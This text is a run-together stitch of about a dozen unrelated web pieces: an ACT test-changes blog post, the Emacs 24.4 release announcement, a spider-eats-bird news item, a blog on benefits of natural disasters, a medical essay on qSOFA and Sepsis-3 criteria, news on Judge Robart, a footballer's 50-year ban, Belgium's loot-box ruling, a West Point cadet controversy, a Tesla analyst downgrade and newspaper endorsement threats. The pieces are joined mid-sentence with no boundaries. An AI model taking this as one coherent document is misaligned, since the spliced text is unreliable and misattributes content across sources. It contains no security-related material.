The enhancements are not a dramatic overhaul like the Redesigned SAT: score ranges will be the same; the sections (tests) are still the same in terms of content; and the general strategies needed are the same. As with most standardized test changes, the subtle differences can be seen as positive or negative, depending on the student. Let’s talk about what’s NOT changing: The order of the sections is NOT changing, so students will finish with the optional writing section. The English section doesn’t seem to have morphed at all: still 75 questions, 45 minutes, spread among 5 passages. Math in name is not changing, but we’ve noticed some new topics popping up, which students may find easier, harder, or simply different. The math section on a recently released (and modified version of the June 2014) test changed 40% of the questions; by one of our tutor’s counts, 24 questions were changed. The changes reflect that there will now be 27 (3 more) Elementary Algebra questions, 19 (1 more) Intermediate Algebra/Coordinate Geometry questions, and 14 (4 fewer) Geo/Trig. questions. The tutor took an inventory of the questions that were changed, and the new questions just seem to be different, not generally easier or more difficult than the ones that were there previously.
Now on to the changes…In the reading section, over the last year and a half or so we have seen a “dual passage”; that is, one of the content areas has two brief passages. Apparently the dual passage can pop up in ANY of the content areas: Prose Fiction/Literary Narrative, Social Sciences/Studies, Humanities, Natural Sciences. It’s very similar to the dual passage found in the SAT, but the ACT helps the students in a way that the SAT doesn’t: the questions pertaining to the first passage are labeled as such, as are those for the second passage, and so are the questions dealing with both passages.
The science section could have 6, 7 or even more passages, according to a phone call we had with the ACT reps in Iowa. There will be the same number of questions in the same amount of time, but we don’t know how many passages there will be.
And finally the big change: the writing section is now 40 minutes instead of 30, and its format has changed. Students are given a prompt followed by 3 perspectives which they are asked to analyze in an academic manner. Scoring still ranges from 2-12, but there are four domains in which students are evaluated: ideas and analysis, development and support, organization, language use. Students will receive scores in these competencies, too. So, in effect, it’s both a persuasive essay and an analytic one.
Why is the ACT making these changes? According to the website, it’s a result of research and efforts to prepare students for college, career, and beyond. It’s also trying to align with the Common Core as a result of research that was conducted recently.
What do we at Ivy Ed think and what are we doing? We have a new writing/essay prompt that we will be using for our simulations in preparation for the September test and beyond. All of our tutors have been alerted to the changes. In fact, one tutor sat for the June ACT to get first-hand experience of the evolving math and science changes. All in all, we don’t think these changes are a big deal….well, not as big a deal as the redesigned SAT. Read our article on those changes. Students can come to a PSAT and/or SAT seminar to get the update on those and schools can arrange for a “Redesigned SAT presentation” where we compare all three tests by contacting us.
Authors: Jon is an Ivy Ed math and science tutor and Stefanie is Ivy Ed’s Academic Director.Emacs 24.4 released
From: Glenn Morris Subject: Emacs 24.4 released Date: Mon, 20 Oct 2014 15:32:19 -0400 User-agent: Gnus (www.gnus.org), GNU Emacs (www.gnu.org/software/emacs/)
Version 24.4 of the Emacs text editor is now available. For more information on Emacs, see: http://www.gnu.org/software/emacs/ You can retrieve the source from your nearest GNU mirror by using one of the following links: http://ftpmirror.gnu.org/emacs/emacs-24.4.tar.xz http://ftpmirror.gnu.org/emacs/emacs-24.4.tar.gz Or choose a mirror explicitly from the list at: http://www.gnu.org/prep/ftp.html Mirrors may take some time to update; the main GNU ftp server is at: http://ftp.gnu.org/gnu/emacs/ Highlights of this release include: - A built-in web browser (M-x eww) - Improved multi-monitor and fullscreen support - "Electric" indentation is enabled by default - Support for saving and restoring the state of frames and windows - Emacs Lisp packages can now be digitally signed - A new "advice" mechanism for Emacs Lisp - File notification support - Pixel-based resizing for frames and windows - Support for menus in text terminals - A new rectangular mark mode (C-x SPC) There are many more changes; for a summary see the etc/NEWS file, which you can view from Emacs with `C-h n'. For the complete list of changes and the people who made them, see the various ChangeLog files in the source distribution. For a summary of all the people who have contributed to Emacs, see the etc/AUTHORS file. Printed copies of the Emacs manual are available for purchase from the Free Software Foundation's online store at: http://shop.fsf.org/product/emacs-manual/ (The version on sale is updated for Emacs 24.2, but it remains a great reference book for current Emacs, and buying a copy is a great way to support the work of the FSF.)
reply via email toThe amazing pictures of a giant spider eating a bird
If anyone doubted the existence of bird-eating spiders - often depicted in horror movies set in the jungles of South America - the proof is in these amazing photos from Australia.
A huge spider has been photographed tucking into a hapless bird which became entangled in its web - in a family's back garden!
The pictures were taken earlier this week as the Golden Orb Weaver spider joined the list of other creatures that have made headlines from Australia and the Pacific as they devoured prey - including a fish eating a seagull and a python eating a wallaby.
But no-one expected to come across a garden scene of a bird being devoured by a spider, especially as Golden Orb Weavers confine their daily meal to large insects.
Tucking in: The Golden Orb Weaver spider attacks the bird's head
No way out: The hapless bird is entrapped in the spider's web
Mr Joel Shakespeare, a spider expert at the Australian Reptile Park said: 'This particular spider can grow larger than a human hand, so if a bird gets caught in its web I'm not surprised it will start eating it.
'It seems pretty obvious that the poor bird, a chestnut-breasted Mannikin (a type of finch), has flown straight into the web and not been able to free itself before the spider struck.'
Mr Shakespeare said the spider would have used its venom to break down the bird for eating and then wrapped up the pieces in web as a kind of food parcel.
Helpless: The bird has no defence against his opponent
Experts such as Queensland Museum's Mr Greg Czechura say Golden Orb Weavers build very strong webs, but they point out that the spider would not have struck until the bird became weak as it tried to struggle free.
'The more they struggle, the more tangled up and exhausted they get and they go into stress,' said Mr Czechura.
'If a spider gets a bird, it's a very lucky spider.'
In other cases of reptiles in the wild attacking other species, a Queensland couple has told how they found a python devouring their dog, just weeks after other snakes killed their cat and guinea pig.Before I write anything else, I want to unequivocally explain that I think natural disasters are terrible. They cause countless deaths and incredible human suffering. With that being understood, I often find myself believing that things happen in nature for a reason, and so I started to ponder what some of the good aspects to natural disasters might be. I’ve come up with three ideas about what might be some positive consequences of natural disasters.
1. Natural Disasters Provide People with a Greater Respect & Appreciation for Nature
I currently live in Peru, and nowhere else has it been more obvious that natural disasters have influenced how people view and think about nature’s power. There are few people I have met in my travels in Peru who believe that they can control nature. Earthquakes are common in Peru, and have had a devastating effect here.
In 1970, perhaps the worst modern earthquake in the western hemisphere occurred in Peru, killing an estimated 70,000 people and leaving over half a million people homeless. The Peruvian Highlands city of Huaraz, where I currently live, was leveled. A city about an hour north of Huaraz called Yungay, was swept over in seconds by an avalanche triggered atop Mt. Huascaran. Among the 18,000 people living in that city, almost all were killed in seconds. My wife’s family were among a handful of survivors in a small town called San Marcos (also nearby) that was completely devastated by the earthquake.
I bring all of these things up, because I have personally witnessed how much the people in the Highlands Region of Peru, people like my parents-in-law, have ritualized their respect of nature into their culture. Last month in Huaraz, a festival in honor of the earthquake patron saint was held for a week in entirety. In traditional dress, every day local citizens marched through the city dancing and playing instruments in honor of El Senor de la Soledad (Our Lord of Solitude). Each smaller community in the region also holds events and dances of these kinds.
I doubt that these kinds of cultural understandings and respect for nature’s power are unique to Peru. In addition to providing people with a greater respect for nature, natural disasters probably also build cultural bonds through a shared experience, and consequently therefore strengthen community ties and heritage.
2. Natural Disasters Give Communities a Chance to Improve Infrastructure and Re-Prioritize Community Needs
In regard to this potentially positive aspect to natural disasters, it’s hard not to think of New Orleans, Louisiana, and other places in the American South that were devastated by Hurricane Katrina in 2006 2005.* I’m not extremely familiar with how much progress has been made, but I remember reading about countless opportunities that were presented after Katrina to do things like rebuild shoddy homes, provide new jobs and health services to impoverished communities, and improve natural, ecological buffers so that a disaster on this scale could not happen again. I even remember that Brad Pitt received some publicity for co-sponsoring a sustainable design competition to help rebuild the city in a positive manner.
In Huaraz, Peru after the 1970 earthquake, buildings were constructed with a greater emphasis on anti-seismic measures. The adobe buildings that typified Huaraz prior to the earthquake did not tend to survive the earth’s movements. Now in Huaraz, beauty takes a backseat to safety, as the buildings and city are not extremely attractive. But these improvements to buildings show that the people of Huaraz have re-prioritized their own safety over aesthetics. The Peruvian government also in response has built preventative retaining walls and dams around and near high alpine lakes. Overflow from the lakes was largely responsible for causing huge mudslides immediately after the 1970 earthquake.
3. Research Has Shown That Natural Disasters Might Have Some Positive Ecological Effects
Did you know that hurricanes and tropical storms help distribute the Earth’s heat? Without the transfer of this heat from the Tropics to the Earth’s poles, climates might get totally out of whack. Large storms and the tremendous amounts of rainfall they bring with them are also beneficial to ecosystems and human agricultural needs. Researchers from Duke University’s School of Environment and Earth Sciences also say that without hurricanes, barrier islands on coast lines and their ecosystems would not survive. Of course while these are some positive benefits, it should be noted that hurricanes and the flooding they can cause might affect ecosystems negatively and, of course, harm the lives of a significant amount of people.
Fires are another natural disaster that can benefit ecosystems. They can eliminate unwanted invasive plants from certain ecosystems (but can also help spread them), enrich soils with fresh nutrients, and encourage greater plant diversity. Animals are also sometimes attracted to the new growth in fresh burn areas. Some plants are even dependent upon fire for their seeds to sprout in the long-term, and use fire to their advantage.
Are There More Positive Things to Say About Natural Disasters?
As I wrote in the very beginning, my intention is not to dismiss and disrespect the human suffering caused by natural disasters. But seeing as that almost every day the media reports depressing news and stories about natural disasters, it seems like a good thing to consider the potential positive sides to these events. In addition to the three major benefits I have written about ( 1. people gaining greater appreciation for nature, 2. the chance to rebuild communities positively and re-prioritize needs and 3. the potential benefits to ecosystems), are there other positive aspects to natural disasters that you can think of? If so, please share your thoughts in the comments section.
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Photo Credit: GISUser.com on Flickr under a Creative Commons license
* The article originally stated incorrectly that Hurricane Katrina occurred in 2006.On the morning of January 1st, 2017 a number of proud South Carolinians woke up to find themselves no longer living in their former state of residence. Without moving from the beds in which they slept, they were all magically transported into the neighboring the state of North Carolina. Due to a border dispute which has been underway for more than 20 years, the state line which separated these two proud states was moved approximately 12 miles north of its previously designated coordinates. And while to many of us this seems like amusing trivia, to the proud South Carolinians it directly affected, the consequences likely appeared more serious.
The same sort of shifting in geographic territories happened in the world of sepsis, in February 2016 when Singer et al published the new Sepsis 3.0 definitions (1). Not only was this a change in the current thinking of the underlying mechanisms causing this deadly presentation, but also a change in the clinical tools suggested to identify high risk patients.
The authors defined sepsis as “life-threatening organ dysfunction caused by a dysregulated host response to infection”. And while this definition is likely a better representation of the physiologic underpinnings of the disease in question, it does little to change the day-to-day logistical management of the patients that present to us in the Emergency Department. The authors go on to suggest a change in how we identify sepsis and septic shock in the clinical arena. Sepsis is defined as an infection associated with an increase in the Sequential Organ Failure Assessment (SOFA) score of 2 points or more, and septic shock as fluid resistant shock requiring vasopressor supplementation to maintain a mean arterial pressure of 65 mm Hg or greater and serum lactate level greater than 2 mmol/L.
More importantly, for the Emergency Department, the authors developed a novel clinical score to be used outside of the ICU to identify patients with sepsis or septic shock. Calling it the quick SOFA (qSOFA), this score consisted of a respiratory rate >22, altered mental status, and hypotension (a SBP < 100 mm Hg). In the original manuscript deriving and validating this score, Seymour et al noted its moderate predictive value outside of the ICU setting. Using the UPMC medical care systems records these authors retrospectively identified patients who received antibiotics and had body fluid cultures drawn during their stay in the hospital. The authors required these two events to occur within 24-hours of each other. They then derived and validated the qSOFA, using the traditional SIRS criteria and the more data laden SOFA score as comparators (2).
In this original derivation cohort, the qSOFA performed admirably when utilized in a population outside the ICU setting, with an area under the curve (AUC) of 0.81. This was compared to 0.76, and 0.79 for SIRS and SOFA respectively. When validated in multiple external data sets, the qSOFA’s performance remained consistently acceptable (0.71, 0.75, 0.78 respectively). A great deal has been written on the utility of this score, essentially stating that given the retrospective origin of its derivation and validation, it is difficult to determine how it will perform in the Emergency Department when used in a prospective fashion. A number of retrospective studies have attempted to validate qSOFA’s performance and have found variable diagnostic characteristics, but like their predecessor, they suffer from the same retrospective, big data dredge methodology that leads to uncertainty regarding the scores stability (3,4).
Published in JAMA, almost one year after Seymor et al unveiled this controversial tool, Freund et al reported the first prospective analysis of the qSOFA score (5). These authors examined patients presenting to 30 Emergency Departments across Europe with suspected infection. Patients were only included in the final analysis if two “experts” reviewing all the pertinent data from the patients’ hospital course concluded the hospitalization was due to an infectious cause. The 3 components of the qSOFA score were collected prospectively by the treating Emergency Physician during their ED course. These values were not collected exclusively upon initial presentation, but rather utilized the patient’s worst score during their stay in the Emergency Department. Unlike the previous retrospective evaluations, the presence of altered mental status was recorded separately from the patient’s GCS. The components of the SIRS criteria and SOFA score were also collected during their ED stay.
The authors sought to compare a qSOFA score of 2 or greater, an increase in the SOFA score by two points, 2 or more SIRS criteria, and severe sepsis, which was defined as 2 or more SIRS criteria and a lactate > 2 mmol/L. They examined the diagnostic accuracy of each of these decision tools to identify patients who would die during their hospital course. They also examined admission to the ICU, length of stay in the ICU for greater than 72-hours and a composite of in-hospital mortality and 72-hour ICU admission.
Of the 1088 patients screened, 879 were included in the final analysis. At a glance the qSOFA performed admirably. The highest AUC for predicting in-hospital mortality was achieved by the qSOFA at 0.80. This was followed by SOFA (0.77), SIRS (0.65) and severe sepsis (0.65). The authors reported the findings of the multiple secondary endpoints they measured closely resembled the results of their primary analysis. And so, in a sense Freund et al validated Seymour et al’s original derivation and validation cohort. But of course the reality is always far more complex.
While qSOFA may have outperformed SIRS, SOFA and severe sepsis, none of these scores performed that well. qSOFA which had the best diagnostic test characteristics out of the scores examined, only had a sensitivity of 70% and a specificity of 79%. I am not sure if any of us would be comfortable missing 30% of the patients who died from sepsis.
But in truth, none of these scores should be utilized in any typical diagnostic fashion. After all, our goal in the Emergency Department should not be to predict who will perish during their hospital course, but rather to identify a population of critically ill patients that will benefit from the aggressive resuscitative measures we have come to associate with the management of sepsis and septic shock. And while this cohort is far more nebulous, examining each of these tools prognostic abilities gives us a better idea of their respective performances.
In the Freund et al cohort the overall mortality was reported to be 8%. For patients with a qSOFA score less than 2, the in-hospital mortality was only 3%. Conversely, in the patients who had a qSOFA of 2 or greater, the in-hospital mortality was 24%. In contrast, for the patients with less than 2 SIRS criteria the in–hospital mortality was fairly similar to those in the low risk qSOFA group (2.2%), but the in-hospital mortality of patients with 2 or more SIRS criteria did not differ significantly from the overall mortality of the entire cohort (8% vs 10.6%). This suggests while the SIRS criteria can identify a cohort at very low risk for death during their hospital course, it does so in such a small minority it is essentially clinically useless. In fact, of the 879 patients in the final analysis 653 (74%) had 2 or more SIRS criteria. In contrast, the qSOFA score only included 218 (25%) of the patients in its high risk cohort. Furthermore, this analysis likely overestimates the SIRS criteria’s poor specificity. Since they only examined the patients who were admitted to the hospital for suspected infection, they excluded all patients with a benign infection that commonly present to the Emergency Department with 2 or more SIRS criteria and are discharged home.
There is an even more important issue to discuss. Let us for a moment look at the components of the qSOFA score. Altered mental status, hypotension (defined as a systolic blood pressure less than 100 mm Hg), and an increased respiratory rate (greater than 22 breaths/minute). In order to achieve a score of two or more a patient has to be hypotensive and altered, hypotensive and in respiratory distress, or be altered and in respiratory distress. None of these patients are clinical subtle. qSOFA is not a marker of sepsis, rather it is a marker for severity of illness. A recent retrospective analysis by Singer et al, published in the Annals of Emergency Medicine, demonstrated the qSOFA score performed equally well (or poor) in patients with and without infectious causes of their presentation (4). And so, if we are to believe the results presented by Freund et al, then for the most part sick patients look sick. While some patients that appear well in the Emergency Department will go on to decline during their hospital course, the majority of patients presenting to the Emergency Department with sepsis do so in a clinically obvious fashion.
So the next question becomes, “Is there a method to identify the remainder of these patients who are secretly harboring a critical illness and will go unnoticed in the Emergency Department?”. The first solution is to utilize a tool like the SIRS criteria that has a far higher sensitivity the qSOFA. But it achieves this superior sensitivity at the cost of including the majority of patients presenting to the Emergency Department with signs of infection. Adding more hay to the stack does not make it easier to identify the few needles that would otherwise go unnoticed. Lactate has been suggested as a tool to identify this clinically occult subset of patients. But both Seymour et al’s original data set and Freund et al’s recent validation set would suggest the addition of lactate adds nothing to the risk stratification the qSOFA score already provides. Seymour et al found adding lactate at a threshold of 2, 3 or 4 mmol/L to the qSOFA score did not augment its diagnostic prowess. In Freund et al’s recent analysis when the authors added lactate to the qSOFA score, it did not change its prognostic value.
These findings should actually not come as a surprise. The original data on lactate supports its use in the identification of cryptic shock, or tissue hypoxia, without outward signs of shock. In the seminal paper published in Intensive Care Medicine in 2007 by Howell et al, the authors conducted a prospective observation trial which enrolled all patients who presented to their Emergency Department with a suspected infection (6). The authors obtained serum lactate levels in all patients and examined its ability to predict in-hospital mortality. They found patients with increased serum lactate values died at a more frequent rate than patients with numerically normal values. Serum lactate still maintained its predictive capability mortality even when the authors controlled for hypotension. Of the 1287 patients enrolled, 73 (5.7%) died during their hospital course. Patients who were neither hypotensive nor demonstrated an elevated lactate (> 4 mmol/L) had an in-hospital mortality of 2.5%. Conversely in the patients who were hypotensive or had an elevated lactate, the mortality was 28.3%. When you compare the Howell et al and Freund et al cohorts side by side the predictive values of qSOFA and lactate appear fairly similar. Puskarich et al in their reanalysis of the Jones trial found fairly similar results to Howell’s original assessment of lactate’s predictive abilities. They found that a serum lactate was an equally good predictor of mortality as hypotension. The respective in-hospital mortality rates in these cohorts were 21% and 19% (7).
Clinically occult shock (a patient with a normal BP) should not be misinterpreted as a clinically occult patient (a well appearing patient). In Puskarich et al, although the cryptic shock patients were not hypotensive in the strictest sense, they were by no means physiologically normal. On the contrary they were older, more tachycardic, with faster respiratory rates, than their hypotensive counterparts. And though they were not hypotensive (<90 mmHg), their blood pressures were not necessarily normal. The median blood pressure in the cryptic shock group was 108mmHG with an IQR of 92-126 (7). To put it simply, these patients were clinically ill appearing and likely would have been identified using the qSOFA criteria. In fact, while Howell et al found a lactate threshold of 4 mmol/L, to be very specific (92%) it only identified a small minority of the patients who went on to die during their hospital stay (sensitivity of 36%). The analyses by Seymour et al and Freund et al would suggest this subset of critically ill patients identified by an elevated serum lactate is included in the cohort identified with qSOFA score of 2 or greater. And so while lactate still serves a purpose to identify the spectrum of patients who are critically ill, I doubt it will help us recognize the patients who present to the Emergency Department well appearing but go on to decompensate during their hospital course.
The true complexity of sepsis is still as of yet being uncovered. What we do know is it presents itself in a multitude of fashions, and its clinical course and the rapidity of its progression is determined by more variables than we are even aware. To think we can identify a set of clinical characteristics that is both easily utilized at the bedside and will perfectly differentiate the subset of critically ill patients from the more clinical benign is at best naive. And while qSOFA and the SIRS criteria are both reasonable from a triage perspective (depending on your accepted signal vs noise ratio), neither will stand up to the clinical judgment of an experienced Emergency Physician doing what he or she is trained to do, to differentiate the sick from the not sick. It is also quite possible that we will never identify a tool that detects all the patients at risk of decompensation during their hospital stay because there exists a subset of patients for which clinical decline is not predictable at the time of initial presentation. At least not without adding so much diagnostic noise it drowns out any clinically useful signal. In the end, sepsis and septic shock are clinical diagnoses, far more nuanced than any criteria can encapsulate. Sepsis 3.0 may very well have changed the geographic borders in which we reside, but here in the trenches of the Emergency Department it is still the same rocky ground below our feet.
Sources Cited:
Singer M, Deutschman CS, Seymour CW, et al. The Third International Consensus Definitions for Sepsis and Septic Shock (Sepsis-3). JAMA. 2016;315(8):801-810. Seymour CW, Liu VX, Iwashyna TJ, et al. Assessment of clinical criteria for sepsis: for the Third International Consensus Definitions for Sepsis and Septic Shock (Sepsis-3). JAMA. 2016;315(8): 762-774. Churpek MM, Snyder A, Han X, et al. qSOFA, SIRS, and Early Warning Scores for Detecting Clinical Deterioration in Infected Patients Outside the ICU. Am J Respir Crit Care Med. 2016; Singer, Adam J. et al. Quick SOFA Scores Predict Mortality in Adult Emergency Department Patients With and Without Suspected Infection Annals of Emergency Medicine Freund Y et al. Prognostic Accuracy of Sepsis-3 Criteria for In-Hospital Mortality Among Patients With Suspected Infection Presenting to the Emergency Department. JAMA January 17, 2017 Volume 317, Number 3 Howell MD, Donnino M, Clardy P, Talmor D, Shapiro NI. Occult hypoperfusion and mortality in patients with suspected infection.
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a thorough investigation immediately.
Rep. Mike Quigley, a Democrat from Chicago, represents the 5th Congressional District of Illinois.CLOSE President Donald Trump used his preferred platform to criticize the judge who blocked his administration's travel ban on immigrants. Video provided by Newsy Newslook
U.S. District Judge James L. Robart presides during State of Washington vs. Donald J. Trump, et al on Feb. 2, 2017 at the Seattle Federal Courthouse. Judge Robart ordered a national halt to President Trump's travel ban on people from seven, mainly Muslim, countries. (Photo11: United States Courts)
The federal judge who blocked President Trump's immigration ban spent more than 30 years in private practice before taking the bench, giving up a lucrative career that saw him representing breweries, energy companies and Southeast Asian immigrants.
Trump tweeted Saturday morning that he thought U.S. District Senior Judge James Robart's temporary restraining order was “ridiculous,” and declared it would be overturned.
Robart, who Trump demeaned as a “so-called judge,” was appointed to the bench by President George W. Bush in 2004 after receiving unanimous support from the U.S. Senate.
Robart sits on the federal bench in Seattle, where he last year declared that “black lives matter” while hearing a Department of Justice lawsuit against the Seattle Police Department over racial disparities in fatal shootings by police.
Robart’s friends and colleagues describe him as a community-minded man with a special commitment to the young and vulnerable, having fostered multiple children with his wife. Trump’s attack on Robart drew a swift response from U.S. Sen. Patrick Leahy, the ranking member of the Senate Judiciary Committee and who voted for Robart’s confirmation.
“The president’s hostility toward the rule of law is not just embarrassing, it is dangerous. He seems intent on precipitating a constitutional crisis,” Leahy said in a statement. “And now he is attempting to bully and disparage yet another federal judge — this one appointed by a Republican president and confirmed by a Republican Senate — for having the audacity to do his job and apply the rule of the law.”
The opinion of this so-called judge, which essentially takes law-enforcement away from our country, is ridiculous and will be overturned! — Donald J. Trump (@realDonaldTrump) February 4, 2017
Robart received his undergraduate degree from Whitman College in Washington state, and his law degree at Georgetown. He applied for a seat on the bench, received a unanimous “well-qualified” rating from the American Bar Association, and was recommended for the position by both his state’s senators at the time.
During his brief confirmation hearing in early 2004, Robart faced little questioning from senators about his history, temperament or views on the law. Leahy at the time complained he felt Republicans were rushing through nominees too quickly, given their reluctance to confirm nominations made previously by former President Clinton.
Speaking to senators, Robart noted he served as an aide to former U.S. Sens. Scoop Jackson (a Democrat) and Mark Hatfield (a Republican) before joining a private law firm in his home state of Washington, rising to become the firm's sole managing partner.
In his testimony, Robart said he saw the law as a way to help people who feel they’ve been wronged, or that the odds are unfairly stacked against them. As part of his firm’s commitment to providing free legal services, Robart said he often assisted Southeast Asian immigrants with legal problems at no cost.
“Working with people who have an immediate need and an immediate problem that you are able to help with is the most satisfying aspect in the practice of law,” he told the Judiciary Committee in 2004. “If I am fortunate enough to be confirmed by the Senate, I will take that experience to the courtroom with me, recognizing that you need to treat everyone with dignity and respect, and to engage them so that when they leave the courtroom they feel like that had a fair trial and that they were treated as a participant in the system.”
During a hearing last year, Robart strongly criticized the Seattle police union after citing FBI statistics showing that blacks were disproportionally killed by police officers: "Forty-one percent of the casualties, 20% people of the population… black lives matter," Robart said, sighing and shaking his head, according to a video recording of his ruling.
Robart criticized the police union for rejecting a new contract because officers felt they weren’t being paid enough to follow new rules intended to make their conduct less racially biased and more constitutional.
“This court, and the citizens of Seattle, will not be held hostage for payment of increase compensation and benefits to be afforded protections guaranteed to them by the Constitution of the United States of America,” Robart said. “I don’t know how to be any more direct than that.”
Read or Share this story: http://usat.ly/2kAjYnc· Contest is open to residents of the state of Georgia.
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Web: http://www.atlantawatershed.orgSuspended Ricardo Ferreira can return to football following his ban at the age of 78
A Switzerland-based amateur footballer has been banned for 50 years after kicking a ball in the referee's face and spraying him with water.
Portugal Futebol Clube defender Ricardo Ferreira has already served a 45-game ban for assaulting opposition players.
"I had expected one or two years maximum. But 50 years? Football's my life," Ferreira, 28, said.
The fourth-tier league's lawyer Robert Breiter said: "We do not want such a player in our league."
Speaking to Swiss newspaper Blick (in German), Breiter continued: "Unfortunately we encounter such cases about once a year."
Ferreira had been an unused substitute in his team's match against SC Worb in the Bern league when he attacked the referee after the final whistle.
Ferreira will be free to return to footballing activity on 5 June 2064, by which time he will be 78.Last week, Belgium's Gaming Commission announced that it had launched an investigation into whether the loot boxes available for purchase in games like Overwatch and Star Wars Battlefront 2 constitute a form of gambling. Today, VTM News reported that the ruling is in, and the answer is yes.
The Google translation is a little sloppy, as usual, but the message is clear enough. "The mixing of money and addiction is gambling," the Gaming Commission declared. Belgium's Minister of Justice Koen Geens also weighed in, saying, "Mixing gambling and gaming, especially at a young age, is dangerous for the mental health of the child."
Geens, according to the report, wants to ban in-game purchases outright (correction: if you don't know exactly what you're purchasing), and not just in Belgium: He said the process will take time, "because we have to go to Europe. We will certainly try to ban it."
And now, things will start to get interesting. I've reached out to the Gaming Commission for more information, and will update if I receive a reply.Spenser Rapone is the West Point grad who got in trouble for social media postings in which he was pictured wearing a Che Guevara t-shirt under his uniform and having written “Communism will win” inside his cap. A week ago the Army put out a statement condemning Rapone’s actions and stating that his chain of command was investigating. Today the Daily Caller reports an officer made a complaint about Rapone’s behavior and the content of his social media posts nearly two years ago, months before he graduated:
In November 2015, after being removed from his Ranger battalion for violating standards, Rapone was a cadet in his final year at the academy. According to the report obtained by TheDC, after the latest in a series of incidents involving Rapone’s penchant for insubordination, [retired Army Lt. Col. Robert] Heffington became aware of Rapone’s radical leftist activity on social media and notified the cadet’s chain of command. “From his various online rantings and posts, it appears that DCT Rapone is an avowed Marxist, which is completely out of line with the values of this nation and its Army,” Heffington said in a sworn statement. “Moreover, CDT Rapone’s posts indicate that he hates West Point, the U.S. Army, and indeed this country. One post dated 16 November 2015 states, ‘F*ck this country and its false freedom.’ He also … even implicitly justifies the actions of ISIS and blames the United States for terrorist attacks.”
Heffington concludes by saying that Rapone’s social media postings remind him of a high school student obsessed with Nietzche and suggests the best case scenario is that he will grow out of this phase. However, he also sees a worst-case scenario:
Cadet Rapone’s statements bespeak either a severe mental or psychological disorder, or a genuine commitment to values and ideals wholly at odds with those of West Point and the Army. If the former is true he is dangerously unbalanced, and therefore not suited to military service. If the latter is true, he is a coward and a hypocrite who refuses to discontinue his association with an institution that, as he sees it, is a tool of an inherently unjust, immoral, and imperialist state. He may at some point grow out of this phase but the Army does not have the luxury of allowing him the opportunity to sort out his beliefs while charged with the sacred duty of leading American Soldiers.
Rapone’s social media posts are really just a small portion of the report, most of which is about his insubordinate attitude when Heffington broke up a loud argument. Heffington writes, “Never in 18 years has any soldier spoken to me or treated me with such extreme disrespect as CDT Rapone did…His utter contempt for my rank and position as an Army officer was blatantly obvious…”
Yesterday, Senator Marco Rubio sent a letter to the Army Secretary calling for Rapone’s removal from the ranks and suggesting West Point should consider revoking his diploma. From the Army Times:
“It is extremely concerning that someone who so often expressed such hostile views towards the United States’ system of government was able to obtain a commission,” he wrote. “(His) revolutionary ideas were harbored long before he was commissioned as an Army second lieutenant. Were West Point administrators or faculty aware of his views and behavior?”… “Posts on social media by Rapone broadcast his devotion to the communist cause and his plans to infiltrate and sabotage the military,” the senator wrote. “His conduct, writings, and sympathies for American adversaries predates his commission in the Army. “Therefore, I respectfully request the United States Army immediately nullify Rapone’s commission and pursue all available disciplinary options under the Uniform Code of Military Justice. Rapone should be required to pay back in full the cost of his education, and the United States Military Academy should consider revoking his degree.”In a report published Tuesday, UBS analyst Colin Langan downgraded the rating on Tesla Motors Inc (NASDAQ: TSLA) from Neutral to Sell, while lowering the price target from $220 to $210, on expectations of disappointing storage and auto volume growth.
According to the UBS report, "The stock has jumped +40 percent since the anticipation of the storage announcement; however, our analysis indicates that TSLA's current planned 15GWs of storage capacity may be larger than the market in 2020."
Shares of Tesla were down more than 4 percent in Tuesday's pre-market session, last trading at $270.50 in response to the downgrade.
The analyst believes that the early storage orders could be misleading. The company received "orders" of more than 800 million in the first five days of having announced its Powerwall/Powerpack offering. However, given that customers have not given any deposits for these orders, they could just be an expression of interest and therefore Tesla Motors' capacity might exceed demand by 2020.
Related Link: Jefferies: Tesla Worth $360/Share On Ecosystem, $1 Trillion Market Opportunity & International Success
"More importantly, early adopters ("green" consumers) likely are driving up initial orders, but once these orders are filled, making the mass market leap will likely be difficult given the challenging economics," Langan stated.
While the Street expects market demand of over 7.2GW by 2020, UBS estimates demand at about 3.2GW. Even if the consensus forecast is met, Tesla Motors would need to gain 75 percent market share to be able to fully utilize its storage capacity of 15GWh.
On the other hand, given the slow ramp in storage, the analyst believes that there is a lot of room for new entrants as well as technology to eat into the company's early mover advantage.
The analyst also believes that there are growing near-term challenges for the company, given the rising costs of R&D and SG&A, funding required for investments in new plants and the entry of new competitors in the market.A conservative Arizona newspaper is facing death threats and losing subscriptions after it broke with tradition by endorsing Hillary Clinton over Donald Trump for US president, a senior editor said Friday.
The Phoenix-based Arizona Republic, the state's largest newspaper, announced in an editorial on Tuesday that it is backing a Democrat for the first time since it was founded in 1890 on the grounds that Trump is neither conservative nor qualified to be president.
The paper's editorial board said that while Clinton did not lack flaws, she was also the'superior choice' by far.
NOT FUNNY: After breaking tradition and endorsing Hillary Clinton for president, members of The Arizona Republic's editorial board started receiving death threats
NO LONGER DOMINANT: Donald Trump was expected to win the backing of conservative editorial pages at the Republic, the Cincinnati Enquirer and the Dallas Morning News, but it didn't pan out that way
SHOVE: Trump tweeted Friday that he was happy to see newspapers lose subscribers after abandoning him, but he didn't mention the death threats in Arizona
The backlash began shortly after it published the endorsement, with outraged readers sending a deluge of angry emails and canceling subscriptions, said Phil Boas, who runs the paper's editorial page.
'We got a lot of angry callers and we've had quite a few cancellations,' he said, adding that the editors had expected blowback and did not regret its decision.
The paper also received some threatening phone calls and a death threat, he said without elaborating.
USA Today set another precedent on Thursday, when its editorial board took a side in a presidential race for the first time in its 34-year history, although without issuing a straight endorsement.
Publishing scathing criticism of Trump, the national paper urged readers to oppose a candidate it said is 'dangerous' and 'unfit for the presidency.' It went on to call him 'erratic,' 'ill-equipped,''reckless,' someone with a 'checkered' business past, and a'serial liar.'
Despite the threats against the Arizona Republic, its editorial board feels'very good' about endorsing Clinton, Boas said.
HAMMER BLOW: The Arizona Republic's editorial in favor of Hillary Clinton called her 'the only choice'
'We know that it's the responsible decision and choice to endorse Hillary Clinton over Donald Trump,' he said, adding that he did not believe regular readers were surprised, given the numerous scathing editorials about Trump previously published.
'About a year ago, we began writing very strong editorials about Trump because of his behavior on the stump, which to us seemed authoritarian,' Boas said. 'We started raising the alarm about him... cautioning that what this man is saying is dangerous.'
The Arizona Republic joins a growing list of conservative-leaning US newspapers to back the Democratic candidate during this year's divisive presidential campaign. A handful of others have opted to back Libertarian Gary Johnson.
The Cincinnati Enquirer, an Ohio paper that has supported Republicans for almost a century, said last week that it was backing Clinton because 'Trump is a clear and present danger to our country.'
TREND: The Dallas Morning News was expected to endorse Trump, but went the other way
The Dallas Morning News – based in the Republican-dominated state of Texas – also broke a 75-year streak earlier this month by backing Clinton, describing her as the 'only serious candidate.'
